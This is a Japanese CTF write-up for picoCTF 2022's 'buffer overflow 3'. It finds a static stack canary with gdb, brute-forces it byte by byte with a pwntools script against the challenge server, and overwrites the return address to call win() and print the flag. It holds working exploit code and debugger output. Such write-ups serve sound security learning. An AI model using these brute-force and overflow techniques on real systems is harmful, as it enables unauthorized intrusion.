picoCTF 2022の「buffer overflow 3」。
スタックの途中に4バイトの文字列があるのでそれを壊さないようにEIPを奪う。
プログラムの概要
ただ入力を受け取るのではなく、バッファに書き込むサイズを指定できる。
How Many Bytes will You Write Into the Buffer? > 70 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Ok... Now Where's the Flag?
これがカナリア特定の際に重要になる。
ソース
#define BUFSIZE 64 #define FLAGSIZE 64 #define CANARY_SIZE 4 ... int main(int argc, char **argv){ read_canary(); vuln(); }
main関数に入ると、まずread_canary関数を実行し、その後にvuln関数を実行する。
char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); }
ここでいうカナリアの実態は、canary.txtというファイルから読み出した4文字の文字列。
void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); }
最初にバッファに書き込むサイズを指定できる(lengthおよびcount)。
たとえば最初の入力で70と与えてInputで100文字与えると、70文字だけ読み取られて残りの30文字はあふれる。
ゴールはwin関数を実行すること。
void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAGSIZE,f); puts(buf); }
カナリアまでのオフセット
入力する場所からカナリアの4文字が格納されてる場所までのオフセットを求める。
ここではカナリアを"ZZZZ"としておく。
┌──(shoebill㉿shoebill)-[~/pico] └─$ cat canary.txt ZZZZ
vuln関数の一回目のreadにブレイクポイントを打ってgdbで解析する。
(入力サイズはとりあえず70にしておく)
gdb-peda$ b *vuln+187
gdb-peda$ r
> 70
...
[-------------------------------------code-------------------------------------]
0x804953e <vuln+181>: lea eax,[ebp-0x50]
0x8049541 <vuln+184>: push eax
0x8049542 <vuln+185>: push 0x0
=> 0x8049544 <vuln+187>: call 0x8049130 <read@plt>
0x8049549 <vuln+192>: add esp,0x10
0x804954c <vuln+195>: sub esp,0x4
0x804954f <vuln+198>: push 0x4
0x8049551 <vuln+200>: mov eax,0x804c054
Guessed arguments:
arg[0]: 0x0
arg[1]: 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
arg[2]: 0x46 (=70)
スタックを多めに表示してみるとカナリア(ZZZZ)がいた。
gdb-peda$ stack 40
0000| 0xffffceb0 --> 0x0
0004| 0xffffceb4 --> 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
0008| 0xffffceb8 --> 0x46 ('F')
...
0148| 0xffffcf44 --> 0x804c000 --> 0x804bf10 --> 0x1
0152| 0xffffcf48 ("ZZZZ\002")
0156| 0xffffcf4c --> 0x2
そのままniコマンドで次のread関数を実行する。
ためしに"A"を100文字入力してからスタックを見てみると
0088| 0xffffcf08 ('A' <repeats 70 times>)
0092| 0xffffcf0c ('A' <repeats 66 times>)
0096| 0xffffcf10 ('A' <repeats 62 times>)
...
よってカナリアまでのオフセットは
gdb-peda$ p 0xffffcf48 - 0xffffcf08 $1 = 0x40
64(これはBUFFSIZEに等しい)と判明。
カナリアを求める
入力サイズを指定できるという点に着目すると、カナリアを求めるスマートな方法があることに気付く。
次の出力結果の違いに注目(カナリアが"ABCD"の場合):
┌──(shoebill㉿shoebill)-[~/pico] └─$ ./vuln How Many Bytes will You Write Into the Buffer? > 65 Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXZ ***** Stack Smashing Detected ***** : Canary Value Corrupt! ┌──(shoebill㉿shoebill)-[~/pico] └─$ ./vuln How Many Bytes will You Write Into the Buffer? > 65 Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA Ok... Now Where's the Flag?
入力サイズを65とする。そして、パディング用の64文字+カナリアの先頭1文字 を入力する。
"Stack Smashing Detected"と出力されなければ、パディングに続けた一文字はカナリアの先頭一文字に等しいということ。
これを利用してカナリアを一文字ずつbrute forceしていく。
カナリアのbrute force
ターゲットサーバへ負荷をかけすぎないために、一度に4文字みつけるのではなく一文字ずつみつけるようにスクリプトを組む。
#!/usr/bin/env python3 import string import time from pwn import * bin_file = './vuln' context.binary = bin_file context.log_level = 'error' binf = ELF(bin_file) flag = False def attack(conn, length, canary): global flag conn.sendlineafter(b'> ', length) payload = b'a' * 64 + canary conn.sendlineafter(b'Input> ', payload) conn.recvline() recv = conn.recvline() if b'Stack Smashing Detected' in recv: pass else: print('\nfound!\ncanary[:{0}] = {1}'.format(len(canary), canary)) flag = True def main(): moji = string.digits + string.ascii_letters + string.punctuation correct_canary = args.LETTER1 + args.LETTER2 + args.LETTER3 + args.LETTER4 correct_canary = bytes(correct_canary, 'utf-8') length = bytes(args.LENGTH, 'utf-8') for c in moji: print('\r canary:%s' % c, end = '') conn = remote('saturn.picoctf.net', 52885) canary = correct_canary + bytes(c, 'utf-8') try: attack(conn, length, canary) except: pass conn.close() time.sleep(0.5) if flag: break if __name__ == '__main__': main()
- BytesWarningが鬱陶しいのでいちいち
bytes関数で変換 - EOFErrorが頻発しbrute forceがうまくいかないので
try/errorでエラーを無視る
pwntoolsとコマンドライン引数について:
いちいちbytes関数使わずに以下を追記するだけでもBytesWarningを抑制できる。
import warnings warnings.simplefilter('ignore', category = BytesWarning)
このbrute.pyを以下のように実行してカナリアを求める。
┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=65 canary:B found! canary[:1] = b'B' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=66 LETTER1=B canary:i found! canary[:2] = b'Bi' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=67 LETTER1=B LETTER2=i canary:R found! canary[:3] = b'BiR' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=68 LETTER1=B LETTER2=i LETTER3=R canary: found! canary[:4] = b'BiRd'
リターンアドレスまでのオフセット
最終的なペイロードは
(64文字のパディング)+(カナリア)+(retaddrまでのパディング)+(win関数のアドレス)
となる。
そこで、gdbのパターン文字列を
(64文字のパディング)+(カナリア)+(パターン文字列)
のように使って入力してやる。
入力サイズを200、パターン文字列の長さを100として実行。
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
> 200
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Ok... Now Where's the Flag?
...
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414241 ('ABAA')
ECX: 0x6c0
EDX: 0xf7e20994 --> 0x0
ESI: 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x6e414124 ('$AAn')
ESP: 0xffffcf60 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n\357\341\367D\320\377\377\200\313\377\367 \320\377\367\367*\364\320\347\340M\253")
EIP: 0x41434141 ('AACA')
...
Stopped reason: SIGSEGV
0x41434141 in ?? ()
gdb-peda$ patto AACA
AACA found at offset: 16
よってカナリアからリターンアドレスまでのオフセットは16。
exploit
#!/usr/bin/env python3 from pwn import * import time bin_file = './vuln' context.binary = bin_file context.log_level = 'debug' binf = ELF(bin_file) addr_win = binf.symbols['win'] def attack(conn, **kwargs): conn.sendlineafter(b'> ', b'200') payload = b'a' * 64 payload += b'BiRd' payload += b'b' * 16 payload += p32(addr_win) conn.sendlineafter(b'Input> ', payload) def main(): conn = remote('saturn.picoctf.net', 64416) attack(conn) conn.interactive() if __name__ == '__main__': main()
実行結果(context.log_levelをdebugにしないとフラグがみえない):
┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./exploit.py
[+] Opening connection to saturn.picoctf.net on port 52885: Done
[DEBUG] Received 0x32 bytes:
b'How Many Bytes will You Write Into the Buffer?\r\n'
b'> '
[DEBUG] Sent 0x4 bytes:
b'200\n'
[DEBUG] Received 0x5 bytes:
b'200\r\n'
[DEBUG] Received 0x7 bytes:
b'Input> '
[DEBUG] Sent 0x59 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 42 69 52 64 62 62 62 62 62 62 62 62 62 62 62 62 │BiRd│bbbb│bbbb│bbbb│
00000050 62 62 62 62 36 93 04 08 0a │bbbb│6···│·│
00000059
[*] Switching to interactive mode
[DEBUG] Received 0x5a bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 42 69 52 64 62 62 62 62 62 62 62 62 62 62 62 62 │BiRd│bbbb│bbbb│bbbb│
00000050 62 62 62 62 36 93 5e 48 0d 0a │bbbb│6·^H│··│
0000005a
[DEBUG] Received 0x48 bytes:
b"Ok... Now Where's the Flag?\r\n"
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_a2b218b2}\r\n'
[*] Got EOF while reading in interactive
$